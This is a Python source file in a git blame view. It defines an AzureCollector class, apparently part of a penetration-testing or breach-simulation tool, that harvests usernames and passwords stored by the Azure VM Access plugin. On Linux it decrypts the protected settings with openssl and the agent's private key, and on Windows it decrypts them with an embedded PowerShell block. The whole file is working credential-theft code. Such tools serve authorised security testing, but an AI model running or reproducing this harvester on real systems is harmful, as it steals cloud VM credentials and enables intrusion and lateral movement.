2018-03-22 22:44:04 +08:00
|
|
|
import sys
|
|
|
|
import logging
|
|
|
|
import os.path
|
|
|
|
import json
|
|
|
|
import glob
|
|
|
|
import subprocess
|
|
|
|
|
|
|
|
__author__ = 'danielg'
|
|
|
|
|
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
|
|
|
|
|
|
|
class AzureCollector(object):
|
|
|
|
"""
|
|
|
|
Extract credentials possibly saved on Azure VM instances by the VM Access plugin
|
|
|
|
"""
|
|
|
|
|
|
|
|
def __init__(self):
|
|
|
|
if sys.platform.startswith("win"):
|
|
|
|
self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
|
|
|
|
self.extractor = AzureCollector.get_pass_windows
|
|
|
|
else:
|
|
|
|
self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
|
|
|
|
self.extractor = AzureCollector.get_pass_linux
|
|
|
|
self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
|
|
|
|
|
|
|
|
def extract_stored_credentials(self):
|
|
|
|
"""
|
|
|
|
Returns a list of username/password pairs saved under configuration files
|
|
|
|
:return: List of (user/pass), possibly empty
|
|
|
|
"""
|
|
|
|
results = [self.extractor(filepath) for filepath in self.file_list]
|
2018-03-28 01:54:18 +08:00
|
|
|
results = [x for x in results if x]
|
2018-03-22 22:44:04 +08:00
|
|
|
LOG.info("Found %d Azure VM access configuration file", len(results))
|
|
|
|
return results
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def get_pass_linux(filepath):
|
|
|
|
"""
|
|
|
|
Extract passwords from Linux azure VM Access files
|
|
|
|
:return: Username, password
|
|
|
|
"""
|
|
|
|
linux_cert_store = "/var/lib/waagent/"
|
|
|
|
try:
|
|
|
|
json_data = json.load(open(filepath, 'r'))
|
|
|
|
# this is liable to change but seems to be stable over the last year
|
|
|
|
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
|
|
|
|
cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint']
|
|
|
|
base64_command = """openssl base64 -d -a"""
|
|
|
|
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
|
|
|
|
b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
|
|
|
|
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
|
|
|
|
decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path
|
|
|
|
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
|
|
|
|
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
|
|
|
|
decrypt_data = json.loads(decrypt_raw)
|
|
|
|
return decrypt_data['username'], decrypt_data['password']
|
|
|
|
except IOError:
|
|
|
|
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
|
|
|
return None
|
|
|
|
except (KeyError, ValueError):
|
|
|
|
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
|
|
|
return None
|
|
|
|
except subprocess.CalledProcessError:
|
|
|
|
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
|
|
|
|
return None
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def get_pass_windows(filepath):
|
|
|
|
"""
|
|
|
|
Extract passwords from Windows azure VM Access files
|
|
|
|
:return: Username,password
|
|
|
|
"""
|
|
|
|
try:
|
|
|
|
json_data = json.load(open(filepath, 'r'))
|
|
|
|
# this is liable to change but seems to be stable over the last year
|
|
|
|
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
|
|
|
|
username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName']
|
|
|
|
# we're going to do as much of this in PS as we can.
|
|
|
|
ps_block = ";\n".join([
|
|
|
|
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null',
|
|
|
|
'$base64 = "%s"' % protected_data,
|
|
|
|
"$content = [Convert]::FromBase64String($base64)",
|
|
|
|
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
|
|
|
|
"$env.Decode($content)",
|
|
|
|
"$env.Decrypt()",
|
|
|
|
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
|
|
|
|
"Write-Host $utf8content" # we want to simplify parsing
|
|
|
|
])
|
|
|
|
ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
|
|
|
|
ps_out = ps_proc.communicate(ps_block)[0]
|
|
|
|
# this is disgusting but the alternative is writing the file to disk...
|
|
|
|
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
|
|
|
|
password = json.loads(password_raw)["Password"]
|
|
|
|
return username, password
|
|
|
|
except IOError:
|
|
|
|
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
|
|
|
return None
|
2018-04-17 16:33:14 +08:00
|
|
|
except (KeyError, ValueError, IndexError):
|
2018-03-22 22:44:04 +08:00
|
|
|
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
|
|
|
return None
|
|
|
|
except subprocess.CalledProcessError:
|
|
|
|
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
|
|
|
|
return None
|